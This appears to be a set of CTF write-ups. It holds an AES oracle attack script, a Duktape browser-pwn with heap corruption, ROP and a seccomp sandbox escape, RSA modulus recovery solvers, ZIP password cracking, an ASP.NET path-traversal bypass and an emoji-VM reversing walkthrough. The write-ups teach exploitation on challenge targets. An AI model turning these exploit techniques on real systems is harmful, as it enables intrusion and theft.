def setup_connection(host, port): s = nc(host, port) print(receive_until_match(s, "0\) quit\n")) send(s, "1337") print(receive_until_match(s, "0\) quit\n")) send(s, "3") print(receive_until_match(s, "- AES")) send(s, "aes") print(receive_until_match(s, "0\) quit\n")) send(s, "2") real = receive_until(s, "\n")[:-1] print('real', real) print(receive_until_match(s, "0\) quit")) return real, s
def get_new_ct(test_char, known_flag_prefix, s): send(s, "1") receive_until_match(s, "Data\? \(In hex format\)") send(s, (known_flag_prefix + test_char).encode("hex")) receive_until_match(s, "0\) quit\n") send(s, "2") current = receive_until(s, "\n")[:-1] receive_until_match(s, "0\) quit\n") print(test_char, 'current', current) return current
def main(): known_flag = "hitcon{" host = "13.113.205.160" port = 21700 real, s = setup_connection(host, port) while '}' not in known_flag: for c in string.lowercase + string.digits + string.uppercase + string.punctuation: try: current = get_new_ct(c, known_flag, s) if real == current: known_flag += c print(known_flag) break except: real, s = setup_connection(host, port) current = get_new_ct(c, known_flag, s) if real == current: known_flag += c print(known_flag) break
main()```
After a while we recover: `hitcon{xxd?XDD!ed45dc4df7d0b79}` |
# Mirc2077## IntroI made this challenge for the SEC-T CTF 2019. It has two parts and is meant to be a minimal 'browser-pwnable'. The javascript engine used is Duktape (https://duktape.org). A custom bug was introduced to it which can be used to get code-execution in the JS-interpreter-process. This process is heavily sandboxed with Seccomp and the second part of the challenge is about escaping it by exploiting an IPC-bug in the main-process.
TL;DR: The final exploit is in `exploit/pwn64.js` and is built dynamically from `exploit/exploit.py`.
 ```One of the rogue androids are hanging out in his private IRC, dealing warez and 0-days. He takes his OPSEC seriously and is behind 9000 proxies. An agent of ours managed to add a backdoor to the repository of his favourite IRC-client. Unfortunately we are scraping up whats left of him from a burning barrel.We recovered this USB-stick, use whatever is on it to pwn and reveal the androids real IP-address. We'll do the rest ;)`````` bash$ checksec --file ./mirc2077 [*] './mirc2077' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled```
## Backdoor / Duktape bug analysisThe player can send various messages and links to the android on 'IRC'. If the link contains Javascript, it will be interpreted by the Duktape JS engine. This is a part of the diff that the player recieved which shows the bug that was introduced to Duktape.``` diff+DUK_INTERNAL duk_ret_t duk_bi_typedarray_sect(duk_hthread *thr) {+ duk_hbufobj *h_this;+ h_this = duk__require_bufobj_this(thr);+ DUK_ASSERT(h_this != NULL);+ DUK_HBUFOBJ_ASSERT_VALID(h_this);++ if (h_this->buf == NULL) {+ DUK_DDD(DUK_DDDPRINT("source neutered, skip copy"));+ return 0;+ }+ h_this->length = 31337;+ duk_hbuffer * buf = h_this->buf;+ buf->size = 31337;+ return 0;+}```A built-in named `sect` was added to the TypedArray object. Calling this function will set the TypedArray and it's backing-buffer size to 31337. However, it will not reallocate the backing-buffer.
Therefore, if you allocate a TypedArray of a size less than 31337 and you call the `sect` built-in on it, you'll be able to read and write out-of-bounds in the heap-memory.
With this limited out-of-bounds read/write primitive we can then find a suitable object in the heap to corrupt and create a fully controlled read/write-what-anywhere primitive.
## Part I - Code-exec in the sandboxed JS-interpreter process### Create a fully controlled read/write-what anywhere primitiveTo achieve our wanted primitive, theres a bit of work to be done.
First we do some minor spraying with small TypedArrays on which we trigger the vuln to create the limited out-of-bounds-primitive. Then we spray some larger potential targets where we set their data to magic values so we can find them in the heap using our OOB-read.``` js/* defrag the heap */for(i = 0; i < pwn.defrag_heap_rounds; i++) { f = new Float64Array(4);f[0] = 1111.4444;f[1] = 2222.5555; pad.push(f);}
/* spray duk_hbufobj and duk_hbuffer objects via Float64Arrays*/for(i = 0; i < pwn.spray_rounds; i++) { var p = new Float64Array(4);p[0]=1337.0;p[1]=4445.0; p.sect(); /* trigger vuln */ spray.push(p); var q = new Float64Array(200);q[0]=6661.6661;q[1]=1116.1116; targets.push(q);}```My target of choices for corruption was a `duk_hbuffer` object since these are conveniently created and used by TypedArrays.``` cstruct duk_hbuffer { duk_heaphdr hdr; duk_size_t size; void *curr_alloc; ...```Each `duk_hbuffer` object is referenced by a `duk_hbufobj` object``` cstruct duk_hbufobj { duk_hobject obj; duk_hbuffer *buf; /* points to duk_hbuffer */ duk_hobject *buf_prop; duk_uint_t offset; /* byte offset to buf */ duk_uint_t length; /* byte index limit for element access, exclusive */ duk_uint8_t shift; /* element size shift: * 0 = u8/i8 * 1 = u16/i16 * 2 = u32/i32/float * 3 = double */ duk_uint8_t elem_type; /* element type */ duk_uint8_t is_typedarray; ...```
How the `duk_hbuffer` stores it's data is defined by it's headers magic value in `duk_hbuffer->hdr->h_flags`. If it's defined as external, then the data will be stored in a buffer pointed to by `duk_hbuffer->curr_alloc`. Otherwise, the data is kept after the structure and the `curr_alloc` pointer is ignored.
For example, `Float64Array(200)` will create a non-external `duk_hbuffer` but we want it to be external as the goal is to be able to control the `duk_hbuffer->curr_alloc` pointer. If we can do this we will have an easy to work with primitive e.g: if you corrupt duk_hbuffer->cur_alloc to `0xdeadbeef` we can then do:* `var val = corrupted_typedarray[0];` - read from 0xdeadbeef* `corrupted_typedarray[0] = val;` - write to 0xdeadbeef
To create a fully controlled read-write-what-anywhere primitive the strategy is to:* Spray TypedArrays with magic-values in the data* Find the `duk_hbuffer` of the TypedArray by it's magic values in heap-memory* Corrupt the magic values to something specific so we can detect the change* Cycle through the TypedArray objects and find which one points to our controlled `duk_hbuffer` by detecting the change* Corrupt the `duk_hbuffer->hdr->h_flag` so it's magic value reflects an external duk_hbuffer object
As the `duk_hbuffer` is now external, we can corrupt `duk_hbuffer->curr_alloc` to gain the controlled-read/write anywhere primitive. This is done with some helper functions, such as
``` js/* set_ctx sets the duk_hbuffer to dynamic/external*/this.set_ctx = function() { this.hbuf_obj[this.buf_offset+4] = i2d(0xdeadbeef); /* target_addr */ this.hbuf_obj[this.buf_offset+5] = i2d(0x0); this.hbuf_obj[this.buf_offset] = i2d(0x0000222200000081); /* set magic to 81 (dynamic/external) and refcount to 2 */};
this.write64 = function(addr, val) { this.hbuf_obj[this.buf_offset+4] = addr; this.hobj[0] = val;};
this.read64 = function(addr) { this.hbuf_obj[this.buf_offset+4] = i2d(addr); return d2i(this.hobj[0]);};
```With full R/W-access to the process, we can now work towards code-exec.
### Create a leak-primitive and leak libcThe next steps for code-exec are* Leak a pointer to the mirc2077 binary and calculate the base address of it* Using the base address of mirc2077, read one of it's `.got` entries to leak an offset into libc.
To understand the next part, one should know that all duktape objects starts with a `duk_hobject` struct that contains a `duk_heaphdr` struct.``` cstruct duk_heaphdr { duk_uint32_t h_flags; duk_size_t h_refcount; duk_heaphdr *h_next; duk_heaphdr *h_prev; ...```The `duk_heaphdr` contains a linked-list e.g. `duk_heaphdr->h_next` that can be used to traverse all the allocated duktape objects. We can leak the `h_next` and `h_prev` pointers from our `duk_hbuffer` object. These can then be used to find objects of interest via their `duk_heaphdr->h_flags` magic value.
One object of interest is the `duk_hnatfunc`. In these objects there is a function pointer to a native c-function. I.e. `duk_hnatfunc->func` will contain a pointer to the mirc2007 binary. In my case, performance.now() would be my first hit when traversing for this type of object.```cstruct duk_hnatfunc { duk_hobject obj; duk_c_function func; /* mirc2077 leak */ duk_int16_t nargs; duk_int16_t magic; ...```
The following JS code will find the `performance.now()` native function object and from that, leak libc and rebase the ROP-chain that is used later on.```jsthis.leak_libc = function(addr) { addr = this.find_native_func(addr); if(addr) elf_base = this.find_elf(addr); if(elf_base) { this.elf = d2i(elf_base.asDouble()); elf_base.assignAdd(elf_base, this.got_offset); this.libc = this.read64i(elf_base); this.libc.assignSub(this.libc, this.libc_offset); log("[+] Found libc base: " + this.libc); this.rebase(); return this.libc; } return 0;};``` ### Get code-exec and pivot to shellcodeAt this point we could overwrite the `duk_hnatfunc->func` for RIP-control. However, controlling the arguments is not as easy due to how duktape passes the arguments via it's context-pointer.
Another option is to leak the `environ` pointer from libc. This points to the current stack of the process. Walk the stack for a target return-address and overwrite it with a ROP-chain. I chose `<duk_eval_raw+110> ` as it will be hit after interpreting the Javascript.
The ROP-chain is very simple. It will `mmap` an RWX page, `memcpy` the embedded shellcode there and jump to it while passing on a `shellcode_ctx` containing some addresses for the final payload.## Part II - Escape the Seccomp sandbox ### Sandbox constraintsThe sandbox-restrictions can be dumped with https://github.com/david942j/seccomp-tools```c line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0e 0xc000003e if (A != ARCH_X86_64) goto 0016 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x0b 0xffffffff if (A != 0xffffffff) goto 0016 0005: 0x15 0x09 0x00 0x00000000 if (A == read) goto 0015 0006: 0x15 0x08 0x00 0x00000001 if (A == write) goto 0015 0007: 0x15 0x07 0x00 0x00000003 if (A == close) goto 0015 0008: 0x15 0x06 0x00 0x00000005 if (A == fstat) goto 0015 0009: 0x15 0x05 0x00 0x00000008 if (A == lseek) goto 0015 0010: 0x15 0x04 0x00 0x00000009 if (A == mmap) goto 0015 0011: 0x15 0x03 0x00 0x0000000c if (A == brk) goto 0015 0012: 0x15 0x02 0x00 0x0000000f if (A == rt_sigreturn) goto 0015 0013: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0015 0014: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0016 0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0016: 0x06 0x00 0x00 0x00000000 return KILL```We can't open files or pop a shell but thankfully we can mmap RWX-pages for pivoting to shellcode where we can setup more elaborate IPC-payloads. These are stored in `exploit/*.asm`### IPC communicationThe main process will fork a child-process and apply Seccomp before it executes the 'dangerous' JS-interpretation. It will pass two file-descriptors to the sandboxed-process. One is to the Log-functionality (`log-fd`) and the other is for the IPC-functionality (`ipc-fd`)
After the JS-interpretation-process creation, the main-process will enter an `ipc_loop` which expects `ipc_msg` structures. The `ipc_loop` will process each `ipc_message` and call the function that maps to the `ipc_msg->id`.
To use the IPC, you would write the following structure to the `ipc-fd` and then read it back for the result.``` cstruct ipc_msg { u8 magic[8]; // IRC_IPC\0 u64 id; // f.ex. IPC_JS_SUCCESS 0xac1d0001 u64 debug; // enable debug-mode output u64 status; u64 result; // result :-) u64 arg0; u64 arg1;};```
### IPC bug-analysisThe IPC between the main-process and the JS-interpreter-process is meant to support caching of responses. It doesn't do a great job at it though. The basic functionality consist of``` cu64 ipc_cache_create(u64 id, u64 size) - Create cacheu64 ipc_cache_create_data(u64 id, u64 size) - Allocate cache data bufferu64 ipc_cache_set_data(u64 id) - Set cache datau64 ipc_cache_get_data(u64 id) - Read cache datau64 ipc_cache_dup(u64 id) - Duplicate existing cacheu32 ipc_cache_close(u64 id) - Close cache```
The cache structures are as follows``` cstruct cache { v0 *data_ptr; // allocated via ipc_cache_create_data u8 refcount; u64 size;};
struct cache_head { // allocated via ipc_cache_create u64 id; struct cache *cache_ptr;};```The `ipc_cache_dup` will create a new `cache_head` and assign it the `cache_ptr` of the requested `cache_head->id` to be duped. If successful, it will increase the refcount of the `cache`. The problem is that the refcount is kept as a byte and with no checks in place it can be easily be overflown through consecutive calls to `ipc_cache_dup`.
This by itself is bad but in conjunction with `ipc_cache_close` we can cause a use-after-free.
``` cu32 ipc_cache_close(u64 id){ struct cache_head *c = (struct cache_head*)ipc_cache_arr[id]; if(c == NULL) return IPC_ERROR;
if(c->cache_ptr != NULL) { c->cache_ptr->refcount--; if(c->cache_ptr->refcount <= 0) { if(c->cache_ptr->data_ptr != NULL) { free(c->cache_ptr->data_ptr); c->cache_ptr->data_ptr = NULL; } free(c->cache_ptr); c->cache_ptr = NULL; free(c); ipc_cache_arr[id] = NULL; } }```If we call `ipc_cache_dup` enough for the `cache->refcount` to wrap-around to 1 and then call `ipc_cache_close` on one of the duped caches, the underlying `cache` will be released while we still retain references to it.
By reclaiming the `cache` memory we can control the `cache->data_ptr` which then becomes a read/write-what-anywhere primitive through the `ipc_cache_get_data` and `ipc_cache_set_data` calls.
## How to get the flags### Flag #1 - HOW-2-IPCHaving code-exec in the JS-interpreter-process is enough to get the first flag. We simply need to perform an IPC-call with the id `IPC_REQUEST_FLAG (0xac1d1337)`. This will read the `./flag` from the main-process and write it back to us over the IPC. The flag can then be output by writing it to the `log-fd`.
### Flag #2 - Escape the Seccomp sandboxTo exploit the IPC-bug, these steps are taken:* Create the first cache and a cache_data for it so we have a dup target* Create three caches without data. We will use these later to reclaim the `cache` memory, as `ipc_cache_create_data` allows allocations of a controlled size between > 0 and < 512* Call `ipc_cache_dup` on the first cache until the `cache->refcount` to wrap around to 1* Call `ipc_cache_close` on the first cache to trigger the use-after-free scenario* Create the cache_data for the other caches (2-4) to reclaim the `cache` memory with a `cache->data_ptr` that points to the wanted target
Now we can overwrite whatever `cache->data_ptr` points to by calling `ipc_cache_set_data` on any of the duped caches that still has a reference to it.
No leak from the main-process is needed since the JS-interpreter is forked, which means that the binaries and stack will have the same addresses in both processes.
We can use the same trick that we used to execute our initial ROP-chain. We find a suitable target on the stack and overwrite it with a ROP-chain. In my case, the target was `<exec_js_renderer+010d>` which will be hit when the `ipc_loop` returns.
After writing the final ROP-chain to the main-process stack we send a final IPC-message of `IPC_JS_SUCCESS (0xac1d0001)` so the main-process exists the `ipc_loop` and we get code-exec in the main-process.
The payload is simply a one_gadget / god_gadget from the libc which can be found using the tool https://github.com/david942j/one_gadget. Some of the stack is also zeroed out to fit the constraint of the one_gadget.
## Exploit moneyshot
# Creds**b0bb** - for proof-reading and suggestions **je / OwariDa** - for the PIE-fixup script **saelo** - for the 64bit JS-framework |
# Lost Modulus Again Writeup
### HITCON 2019 - crypto 200 - 64 solved
> It seems something wrong with my modulus. [lma-96272ceb426c53449452d3618953eeb4daf07b74.tar.gz](lma-96272ceb426c53449452d3618953eeb4daf07b74.tar.gz)
#### Analyzing the conditions
Flag is encrypted by textbook RSA scheme. Interestingly, public exponent `e` and private exponent `d`, `x = inverse_mod(q, p)`, `y = inverse_mod(p, q)` is given, not giving the public modulus `n` directly. Therefore, my goal is to calculate `n = p * q` by using the given conditions.
#### Deriving public modulus `n`
I can calculate the candidate values of `phi(n) = (p - 1) * (q - 1)` by using the following equation. By enumerating possible `k`s from `3` to `e - 1`, I obtained the candidates of `phi(n)`.
```pythone * d == 1 (mod phi(n))e * d == k * phi(n) + 1 # for some nonnegative integer k# Since d < phi(n), e > k >= 3```
Let `k1`, `k2` be the nonnegative integer which satisfies the following equations.
```pythonx, y == inverse_mod(q, p), inverse_mod(p, q)q * x == 1 + k1 * p # x < pp * y == 1 + k2 * q # y < q```
By subtracting the two equations, I get `q * (x + k2) == p * (y + k1)`. `p` and `q` are coprime, so `q` must divide `y + k1` and `p` must divide `x + k2`. `0 < x + k2 < 2 * p` and `0 < y + k1 < 2 * q`, so `p = x + k2` and `q = y + k1`. Since `k1 = q - y`, `q * x = 1 + (q - y) * p` and finally get `x * y = 1 + k1 * k2`
Evaluate `phi(n)` by using the newly derived equations.
```pythonphi(n) = (p - 1) * (q - 1) = (x + k2 - 1) * (y + k1 - 1) = (x - 1 + k2) * (y - 1 + k1) = (x - 1) * (y - 1) + (x - 1) * k1 + (y - 1) * k2 + k1 * k2```
Now I make quadratic equation with respect to `k1`, by knowing the values of `x` and `y`.
```pythonphi(n) = x * y - 1 + (y - 1) * (x * y - 1) / k1 + k1 * (x - 1) + (x - 1) * (y - 1)# quadratic equation f(k1) = 0(x - 1) * k1 ** 2 + (x * y - 1 - phi(n) + (x - 1) * (y - 1)) * k1 + (y - 1) * (x * y - 1) = 0```
`k1` must be integer, so by traversing all the candidates of `phi(n)` and solving quadratic equations, I can distinguish the actual value of `phi(n)`, directly recovering `k1`, `k2`, `p`, `q` and `n`.
Now by knowing `n` and `d`, simply decrypt and get the flag:
```hitcon{1t_is_50_easy_t0_find_th3_modulus_back@@!!@!@!@@!}```
Full exploit code: [solve.py](solve.py)
Original problem: [prob.py](prob.py)
Output: [output](output) |
# Lost modulus (crypto, 200p, 64 solved)
In the task we get [source code](prob.py) and its [output](output).The code is simply RSA encryption of the flag.
## Analysis
The key observation from the code is:
```pythondef __str__(self): return "Key([e = {0}, n = {1}, x = {2}, y = {3}])".format(self.e, self.d, self.iqmp, self.ipmq)```
Second output parameter is `self.d` even though it's labelled as `n = {1}`.This means that we know `e, d, iqmp and ipmq`, but we don't know `n`.
As name of the challenge suggests, they goal is to recover `n` to complete the private key and decrypt the flag.
## Solution equation
In order to do that we need to do a bit of math.There is not much to go with, since the only values related to `n` we have are `iqmp` and `ipmq`.
Let's use their definition:
```ipmq = modinv(p,q)ipmq*p == 1 mod qipmq*p = 1 + k*q [some integer k with bound k<q]k*q = ipmq*p - 1 [some integer k with bound k<q]```
Same for `iqmp`:
```iqmp = modinv(q,p)iqmp*q == 1 mod piqmp*q = 1 + m*p [some integer m with bound m<p]m*p = iqmp*q - 1 [some integer m with bound m<p]```
Let's now multiply those 2 equations:
```(ipmq*p) * (iqmp*q) = (1+k*q) * (1+m*p)ipmq*iqmp*p*q = k*m*p*q + k*q + m*p + 1ipmq*iqmp*N = k*m*N + k*q + m*p + 1```
Let's move `N` to one side:
```N*(ipmq*iqmp - k*m) = k*q + m*p + 1```
On the left side of the equation we have `N*x` and since those are all integer equations, it means `x` has to be integer as well.This means that the right side of the equations has to also be a multiple of N.
Now the **key** observation in this task:
Let's remember the bounds for `k` and `m` -> `k<q` and `m<p`.
On the right side we have `k*q + m*p + 1`.What is the upper bound? It has to be smaller than `q*q + p*p +1`.We can assume, from the task setup, that `p` and `q` are of similar bitlength, and thus `q*q` and `p*p` can't be much bigger than `N`, and therefore the whole right side of the equation can't be much bigger than `2*N` even in the most pessimistic case (with `k=q` and `m=p`), and since it's all integers it can be either `N` or `2*N` and nothing more.It's very unlikely that we hit the upper bound, so we can safely assume that in reality it's equal to `N`.
So we have now:
```k*q + m*p + 1 = N```
Now let's substitute back `k*q = ipmq*p - 1` and `m*p = iqmp*q - 1`:
```(ipmq*p - 1) + (iqmp*q - 1) + 1 = Nipmq*p + iqmp*q - 1 = N```
Let's now look into another relation:
```N = p*qphi(N) = (p-1)*(q-1)```
From this we know that:
```phi(N) = N - p - q + 1N = phi(N)+p+q-1```
Let's modify a bit our previous result:
```ipmq*p + iqmp*q - 1 = Nipmq*(p-1+1) + iqmp*(q+1-1) - 1 = Nipmq*(p-1) + ipmq + iqmp*(q-1) + iqmp - 1 = N```
And combine this with relation between `N` and `phi`:
```ipmq*(p-1) + ipmq + iqmp*(q-1) + iqmp - 1 = phi(N) + p + q - 1```
For simplicity let's introduce:
```p-1 = Xq-1 = Yphi(N) = phi```
And thus:
```phi = X*YX = phi/Y```
And now:
```phi = ipmq*X + ipmq + iqmp*Y + iqmp -1 -(X+1+Y)phi = ipmq*(phi/Y) + ipmq + iqmp*Y + iqmp - 1 -(phi/Y + 1 + Y)```Let's now multiply this by `Y`:
```phi*Y = ipmq*phi + ipmq*Y + iqmp*Y^2 + iqmp*Y - Y -(phi + Y + Y^2)phi*Y = ipmq*phi + ipmq*Y + iqmp*Y^2 + iqmp*Y - Y - phi - Y - Y^2```
Move this to one side and combine:
```Y^2*(iqmp-1) + Y(ipmq + iqmp - phi - 2) + ipmq*phi - phi = 0```
Now we have simply an equation `a*x^2 + bx + c == 0` and we can directly solve it, assuming we know the value of `phi`.
## Phi(n) recovery
Fortunately we can easily calculate `phi` one using the fact that:
```e*d mod phi == 1e*d == 1+k*phik*phi == e*d-1```
Now although the value of `k` may be big, we can approximate it using some value which should be of similar bitlen to `phi` we're looking for.Once such value would of course be `N`, but we don't know that.Other such value is for example `d`, since it was calculated as `inverse(self.e, (self.p-1)*(self.q-1))` so it has to be smaller than `phi`.
We iterate over possible phi using:
```pythondef find_phi(e, d): kfi = e * d - 1 k = kfi / (int(d * 3)) print('start k', k) while True: fi = kfi / k try: d0 = gmpy2.invert(e, fi) if d == d0: yield fi except: pass finally: k += 1```
Keep in mind there can be many values `phi` where `d == modinv(e,phi)`, so we need to test all of them, but with our start approximation for `k` we should hit the right one quite fast.
## Solving quadratic equation
Now that we can provide possible `phi` values, we can get back to our quadratic equation and solve it:
```pythondef solve_for_phi(ipmq, iqmp, possible_phi): a = iqmp - 1 b = ipmq + iqmp - 2 - possible_phi c = ipmq * possible_phi - possible_phi delta = b ** 2 - 4 * a * c if delta > 0: r, correct = gmpy2.iroot(delta, 2) if correct: x1 = (-b - r) / (2 * a) x2 = (-b + r) / (2 * a) if gmpy2.is_prime(x1 + 1): q = x1 + 1 p = possible_phi / x1 + 1 return p, q elif gmpy2.is_prime(x2 + 1): q = x2 + 1 p = possible_phi / x2 + 1 return p, q```
Now if we plug this all together:
```pythondef main(): e = 1048583 d = 20899585599499852848600179189763086698516108548228367107221738096450499101070075492197700491683249172909869748620431162381087017866603003080844372390109407618883775889949113518883655204495367156356586733638609604914325927159037673858380872827051492954190012228501796895529660404878822550757780926433386946425164501187561418082866346427628551763297010068329425460680225523270632454412376673863754258135691783420342075219153761633410012733450586771838248239221434791288928709490210661095249658730871114233033907339401132548352479119599592161475582267434069666373923164546185334225821332964035123667137917080001159691927 ipmq = 22886390627173202444468626406642274959028635116543626995297684671305848436910064602418012808595951325519844918478912090039470530649857775854959462500919029371215000179065185673136642143061689849338228110909931445119687113803523924040922470616407096745128917352037282612768345609735657018628096338779732460743 iqmp = 138356012157150927033117814862941924437637775040379746970778376921933744927520585574595823734209547857047013402623714044512594300691782086053475259157899010363944831564630625623351267412232071416191142966170634950729938561841853176635423819365023039470901382901261884795304947251115006930995163847675576699331 ct = 0x32074de818f2feeb788e36d7d3ee09f0000381584a72b2fba0dcc9a2ebe5fd79cf2d6fd40c4dbfea27d3489704f2c1a30b17a783baa67229d02043c5bc9bdb995ae984d80a96bd79370ea2c356f39f85a12d16983598c1fb772f9183441fea5dfeb5b26455df75de18ce70a6a9e9dbc0a4ca434ba94cf4d1e5347395cf7aafa756c8a5bd6fd166bc30245a4bded28f5baac38d024042a166369f7515e8b0c479a1965b5988b350064648738f6585c0a0d1463bd536d11a105bb926b44236593b5c6c71ef5b132cd9c211e8ad9131aa53ffde88f5b0df18e7c45bcdb6244edcaa8d386196d25297c259fca3be37f0f2015f40cb5423a918c51383390dfd5a8703 for potential_phi in find_phi(e, d): res = solve_for_phi(ipmq, iqmp, potential_phi) if res: p, q = res n = p * q print(long_to_bytes(pow(ct, d, n))) break```
We get the flag: `hitcon{1t_is_50_easy_t0_find_th3_modulus_back@@!!@!@!@@!}`
Complete [solver here](solver.py) |
# Schlamperei
## Crypto - Points: 200
> I suspect the new IoT-Gateway module, which has been installed on the machine, is sending back some data to the vendor. I was able to extract a message from the network traffic, but the content doesn't make sense. Maybe the setup archive that I found on the machine is helpful.>> [message.txt](message.txt)> > [setup_customerID_9721.zip](setup_customerID_9721.zip)
The provided ZIP archive is password protected with a very weak password. I used `john` to crack it.
$ zip2john setup_customerID_9721.zip > hash $ john hash
The password is `9721` and lets to extract the archive. It contains a GPG encrypted sessionkey `sessionkey_2fishecb.txt.gpg` that might be the key to decrypt the `message.txt`.
Additionally there is a `71062c43B022BE72_public-key.txt` that contains public and private keys! Lets import the keys with `gpg --import 71062c43B022BE72_public-key.txt`, but we need the passphrase. When looking in the `README.txt` there is a note at the bottom that states:
NOTE: The old default encryption password 'VMC' has been replaced since 09/2018. Please use the new one.
And looking at the top:
Copyright MY F4N74571C M4CH1N3 C0rP (MFMC) - formerly known as V41U3 M4CH1N3 C0rP (VMC)
So `MFMC` might be the password. This allows to import the GPG keys and decrypt the sessionkey:
$ gpg -d sessionkey_2fishecb.txt.gpg gpg: encrypted with 2048-bit RSA key, ID 71062C43B022BE72, created 2019-09-15 "MYF4N74571CM4CH1N3C0rP (MFMC)" A0 C9 18 74 33 F2 2C 00 83 2B 1E 99 22 10 1A 6A
The filename of the key hints that the message is encrypted with `TWOFISH ECB`, so I quickly found [this](http://twofish.online-domain-tools.com/) website where I could paste the hex values of the message and the key to get the flag.
flag: `{silence_is_golden}` |
You can see a "Mobelix" sign to the left of the image, which is a furniture store in Czechia. Googling for locations turns up one in Pilsen, Czechia, that matches the description of the original image. The chimneys are to the north of the store, and are owned by a company called "Energetika"
|
## Challenge

## Initial reckoning
The web page shows a POST form that has a single text field called filename:

HTTP headers reveal that the server is a Microsoft-IIS/10.0 with ASP.NET 4.0.30319:
```httpHTTP/1.1 200 OKCache-Control: privateContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0X-AspNet-Version: 4.0.30319X-Powered-By: ASP.NET[...]```
Using "Default.aspx" as the file name in the form retrieves the page source ?... but wait, the source is available at http://52.197.162.211/Default.txt anyways.Also, using "Default.txt" as the file name in the form retrieves that file. Andobviously we cannot access the flag at neither "C:\\FLAG.txt" nor "..\\..\\FLAG.txt" ?.
## Source code
```csharpbool isBad = false;try { if ( Request.Form["filename"] != null ) { isBad = Request.Form["filename"].Contains("..") == true; }} catch (Exception ex) { }
try { if (!isBad) { Response.Write(System.IO.File.ReadAllText(@"C:\inetpub\wwwroot\" + Request.Form["filename"])); }} catch (Exception ex) {
}```
## Interesting observations
My first though was something like "wtf? two separate try-catch-blocks?" Can we usethat for anything evil? Certainly `isBad` will remain `false` if the first exceptionhandler kicks in.
So how could we raise an exception in the first try-catch-block in order to permitpath traversal without raising an exception in the second try-catch-block?
- Can `String.Contains` raise an exception?- Can `Request.Form[...]` return anything that does not have a `Contains()` member method but still concatenates as useful string later on?- Can `Request.Form[...]` raise an exception in some cases (particularly on first invocation) but not in others?
## Known bugs in ASP.NET 4.0 regarding request fields/forms?
So lets ask Google if there are any known bugs in ASP.NET ...
Interesting, [request validation has changed in ASP.NET 4.0](https://docs.microsoft.com/en-us/aspnet/whitepapers/aspnet4/breaking-changes#0.1__Toc256770147)(right, that's the version of our attack target!). This seems to have resulted in manycomplaints!
- [stackoverflow.com: A potentially dangerous Request.Form value was detected from the client](https://stackoverflow.com/q/81991/2425802)- [How to prevent the Exception "A potentially dangerous Request.Form value was detected from the clientside" when Template column is used.](https://www.syncfusion.com/kb/9213/how-to-prevent-the-exception-a-potentially-dangerous-request-form-value-was-detected-from)- [ASP.Net Error: A potentially dangerous Request.Form value was detected from the client](https://www.aspsnippets.com/Articles/ASPNet-Error-A-potentially-dangerous-RequestForm-value-was-detected-from-the-client.aspx)- [how to try-catch potentially dangerous Request.Form value exception](https://bytes.com/topic/asp-net/answers/316222-how-try-catch-potentially-dangerous-request-form-value-exception)
That did not help so far ... but then I stumbled upon this: [There's actually someone\*telling us that it might not be a good idea to ignore the exception that's thrown on **the firstaccess** to the `Request` collections.](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/september/rare-aspnet-request-validation-bypass-using-request-encoding/)
\*) NCC Group is certainly not just someone, but to be honest, I did not really care who'sexploit I could recycle back then ?.
## Basic idea
The basic idea of that vulnerability is that, for POST requests, request validation prevents"dangerous content" (e.g. HTML tags or similar, such as ` |
## Reverse - EmojiVM
We are given a virtual machine interpreter and a bytecode file. Running thebytecode results in a password prompt. The goal appears to be to figure out thepassword.
Let's dig into the interpreter:
```__int64 __fastcall main(__int64 argc, char **argv, char **envp){ ... locale_unbuffer_timeout(); init_emoji_tables(); read_bytecode(&bytecode, argv[1]); execute_bytecode(&bytecode); ...}```
There are four functions involved:
* `locale_unbuffer_timeout` configures the terminal.* `init_emoji_tables` is a giant wall of text that goes like this:
```v1 = 0x1F233;*(_DWORD *)std_map_operator[](&emoji_code_table, &v1) = 1;...v1 = 0x1F600;*(_DWORD *)std_map_operator[]v2(&emoji_data_table, &v1) = 0;```
All the hex values are emoji encodings, as can be easily verified with python's`chr` function.
* `read_bytecode` reads bytecode into an `std::string`.* `execute_bytecode` is an interpreter loop.
Inspecting `execute_bytecode` reveals the following:
* EmojiVM has only two registers: program counter and stack pointer. Program counter counts characters, not bytes.* There is a stack which can contain up to 1024 qwords. The granularity is 1 qword.* There are 10 so-called gptrs, which are dynamically sized buffers of up to 1500 bytes. The granularity is 1 byte.* 23 emojis are mapped to the following commands: * `0x01`: no-op. * `0x02`: addition: pop two elements, push their sum. * `0x03`: subtraction. * `0x04`: multiplication. * `0x05`: remainder. * `0x06`: bitwise xor. * `0x07`: bitwise and. * `0x08`: less-than comparison: pop two elements, push 1 if the first one is less than the second one, push 0 otherwise. * `0x09`: equality comparison. * `0x0A`: jump: pop an element, set pc to its value. * `0x0B`: jump if not zero: pop two elements, jump to the first one if the second one is not zero, jump to the next instruction otherwise. * `0x0C`: jump if zero. * `0x0D`: push a value in range 0-10. The value is encoded as a smiley using a separate table, and follows the opcode. * `0x0E`: pop. * `0x0F`: load from allocated gptr: pop two elements, use the first one as gptr index, use the second one as offset into gptr, push the corresponding byte. * `0x10`: store to allocated gptr. * `0x11`: allocate gptr: pop an element, find an unallocated gptr slot, allocate gptr of that size. * `0x12`: unallocate gptr. * `0x13`: read from stdin to gptr. * `0x14`: write gptr to stdout. * `0x15`: write LSBs of stack values to stdout as characters until 0 is encountered. * `0x16`: write stack top to stdout as a decimal number, this will not pop the value. * `0x17`: exit.
Now it's not so hard to write an emulator in python. By running the program andinspecting the trace we find out the following:
* That's how numbers larger than 10 are normally made:
```0x00003 PUSH 60x00005 PUSH 100x00007 MUL [10 6]0x00008 PUSH 0 # what a lazy codegen :P0x0000A ADD [0 60]```
* The password is read into gptr 0.* The sequence at `0x01A9E` is essentially `strlen()`, the length must be 24 characters.* The sequence at `0x02166` prints a crying face. That's where we end up when we fail length and other checks.* Each input character is checked differently. For example, that's the condition for the 11th character: `(4 ^ 101 ^ flag[11]) & 255 == 4`.
We're too lazy for this, aren't we? Symbolic execution with `z3` to the rescue!Let's modify the interpreter to keep track of 24 symbolic characters and feedthem in when asked:
